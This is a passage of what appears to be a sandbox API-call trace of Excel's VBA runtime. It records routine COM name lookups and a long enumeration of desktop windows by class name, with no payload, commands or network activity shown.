_mbscpy_s (in: _Dst=0x28e210, _DstSizeInBytes=0x1c, _Src=0x6762d5a | out: _Dst=0x28e210) returned 0x0 [0137.363] _mbscpy_s (in: _Dst=0x28e21a, _DstSizeInBytes=0x12, _Src=0x28e3c0 | out: _Dst=0x28e21a) returned 0x0 [0137.363] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0137.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x260f80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0137.387] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb2fbff0 [0137.387] strncpy_s (in: _Dst=0xb2fbff0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0137.387] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0137.387] bsearch (_Key=0x25fe98, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0137.387] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0137.387] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0137.388] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1380) returned 0x0 [0137.388] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0137.388] IUnknown:Release (This=0xb1d1380) returned 0xb [0137.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2fbff0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0137.388] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0137.388] IUnknown:Release (This=0xb1d1380) returned 0xa [0137.388] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d0570) returned 0x0 [0137.388] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0137.388] IUnknown:Release (This=0xb1d0570) returned 0x12 [0137.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2fbff0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0137.388] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0137.389] IUnknown:Release (This=0xb1d0570) returned 0x11 [0137.389] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1920) returned 0x0 [0137.389] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0137.389] IUnknown:Release (This=0xb1d1920) returned 0x6 [0137.389] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2fbff0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0137.389] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0137.389] IUnknown:Release (This=0xb1d1920) returned 0x5 [0137.389] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0x6fed890) returned 0x0 [0137.389] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0137.389] IUnknown:Release (This=0x6fed890) returned 0x4 [0137.389] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2fbff0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0137.389] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0137.389] IUnknown:Release (This=0x6fed890) returned 0x3 [0137.389] IMalloc:Free (This=0x7feffc15380, pv=0xb2fbff0) [0137.390] GetCurrentThreadId () returned 0x92c [0137.390] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0137.390] GetDesktopWindow () returned 0x10010 [0137.390] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140 [0137.390] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0137.390] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0137.390] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0137.390] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0137.390] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.390] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.390] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0137.390] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0137.390] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0137.390] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0137.390] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0137.390] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0137.390] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0137.390] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0137.390] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.390] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0137.390] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0137.390] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0137.390] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.390] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0137.390] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0137.390] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0137.390] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.390] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0137.390] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0137.391] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0137.391] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.391] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070 [0137.391] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0137.391] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0137.391] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.391] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c [0137.391] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0137.391] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0137.391] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.391] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0137.391] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0137.391] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0137.391] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.391] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0137.391] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0137.391] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0137.391] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.391] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0137.391] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0137.391] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0137.391] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.391] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0137.391] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0137.391] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0137.391] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.391] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0137.391] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0137.391] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0137.391] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.392] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0137.392] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.392] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.392] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.392] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0137.392] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0137.392] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0137.392] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.392] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0137.392] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0137.392] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0137.392] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.392] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0137.392] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0137.392] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0137.392] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0137.392] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0137.392] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0137.392] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0137.392] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.392] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0137.392] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0137.392] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0137.392] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.392] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0137.392] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0137.392] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0137.392] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.392] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226 [0137.392] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0137.392] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0137.393] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.393] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056 [0137.393] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0137.393] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0137.393] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a6 [0137.393] GetClassNameA (in: hWnd=0x201a6, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.393] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.393] GetWindowThreadProcessId (in: hWnd=0x201a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.393] GetWindowLongA (hWnd=0x201a6, nIndex=-16) returned -1946157056 [0137.393] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0137.393] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0137.393] GetWindow (hWnd=0x201a6, uCmd=0x2) returned 0x202d2 [0137.393] GetClassNameA (in: hWnd=0x202d2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0137.393] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0137.393] GetWindowThreadProcessId (in: hWnd=0x202d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.393] GetWindowLongA (hWnd=0x202d2, nIndex=-16) returned 382664704 [0137.393] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0137.393] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0137.393] GetWindow (hWnd=0x202d2, uCmd=0x2) returned 0x30232 [0137.393] GetClassNameA (in: hWnd=0x30232, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0137.393] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0137.393] GetWindowThreadProcessId (in: hWnd=0x30232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.393] GetWindowLongA (hWnd=0x30232, nIndex=-16) returned -1778384896 [0137.393] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0137.393] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0137.393] GetWindow (hWnd=0x30232, uCmd=0x2) returned 0x40234 [0137.393] GetClassNameA (in: hWnd=0x40234, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0137.393] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0137.393] GetWindowThreadProcessId (in: hWnd=0x40234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.393] GetWindowLongA (hWnd=0x40234, nIndex=-16) returned -1778384896 [0137.393] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0137.393] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0137.393] GetWindow (hWnd=0x40234, uCmd=0x2) returned 0x2027a [0137.393] GetClassNameA (in: hWnd=0x2027a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0137.393] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0137.393] GetWindowThreadProcessId (in: hWnd=0x2027a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.393] GetWindowLongA (hWnd=0x2027a, nIndex=-16) returned -1778384896 [0137.394] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0137.394] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0137.394] GetWindow (hWnd=0x2027a, uCmd=0x2) returned 0x20278 [0137.394] GetClassNameA (in: hWnd=0x20278, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0137.394] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0137.394] GetWindowThreadProcessId (in: hWnd=0x20278, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.394] GetWindowLongA (hWnd=0x20278, nIndex=-16) returned -1778384896 [0137.394] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0137.394] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0137.394] GetWindow (hWnd=0x20278, uCmd=0x2) returned 0x202c2 [0137.394] GetClassNameA (in: hWnd=0x202c2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0137.394] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0137.394] GetWindowThreadProcessId (in: hWnd=0x202c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.394] GetWindowLongA (hWnd=0x202c2, nIndex=-16) returned 1149272145 [0137.394] GetWindow (hWnd=0x202c2, uCmd=0x2) returned 0x202cc [0137.394] GetClassNameA (in: hWnd=0x202cc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0137.394] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0137.394] GetWindowThreadProcessId (in: hWnd=0x202cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.394] GetWindowLongA (hWnd=0x202cc, nIndex=-16) returned -2080374784 [0137.394] GetWindowLongPtrA (hWnd=0x202cc, nIndex=-6) returned 0x7fee5a60000 [0137.394] IsWindowEnabled (hWnd=0x202cc) returned 1 [0137.394] GetPropA (hWnd=0x202cc, lpString=0xc113) returned 0x0 [0137.394] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0137.394] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0137.394] GetWindow (hWnd=0x202cc, uCmd=0x2) returned 0x2025c [0137.394] GetClassNameA (in: hWnd=0x2025c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0137.394] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0137.394] GetWindowThreadProcessId (in: hWnd=0x2025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.394] GetWindowLongA (hWnd=0x2025c, nIndex=-16) returned 1149272145 [0137.394] GetWindow (hWnd=0x2025c, uCmd=0x2) returned 0x101e0 [0137.394] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0137.394] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0137.394] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.395] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 382664704 [0137.395] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0137.395] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0137.395] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a [0137.395] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0137.395] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0137.395] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.395] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896 [0137.395] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0137.395] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0137.395] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c [0137.395] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0137.395] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0137.395] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.395] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896 [0137.395] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0137.395] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0137.395] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0137.395] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0137.395] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0137.395] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.395] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896 [0137.395] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0137.395] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0137.395] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210 [0137.395] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0137.395] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0137.395] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.395] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896 [0137.395] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0137.395] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0137.395] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x102a2 [0137.395] GetClassNameA (in: hWnd=0x102a2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0137.395] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0137.395] GetWindowThreadProcessId (in: hWnd=0x102a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa74 [0137.395] GetWindow (hWnd=0x102a2, uCmd=0x2) returned 0x2023e [0137.395] GetClassNameA (in: hWnd=0x2023e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0137.396] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0137.396] GetWindowThreadProcessId (in: hWnd=0x2023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.396] GetWindowLongA (hWnd=0x2023e, nIndex=-16) returned 213909504 [0137.396] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0137.396] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0137.396] GetWindow (hWnd=0x2023e, uCmd=0x2) returned 0x20214 [0137.396] GetClassNameA (in: hWnd=0x20214, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0137.396] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0137.396] GetWindowThreadProcessId (in: hWnd=0x20214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.396] GetWindowLongA (hWnd=0x20214, nIndex=-16) returned -2080374784 [0137.396] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0137.396] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0137.396] GetWindow (hWnd=0x20214, uCmd=0x2) returned 0x101de [0137.396] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0137.396] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0137.396] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.396] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352 [0137.396] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0137.396] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0137.396] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc [0137.396] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0137.396] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0137.396] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.396] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352 [0137.396] 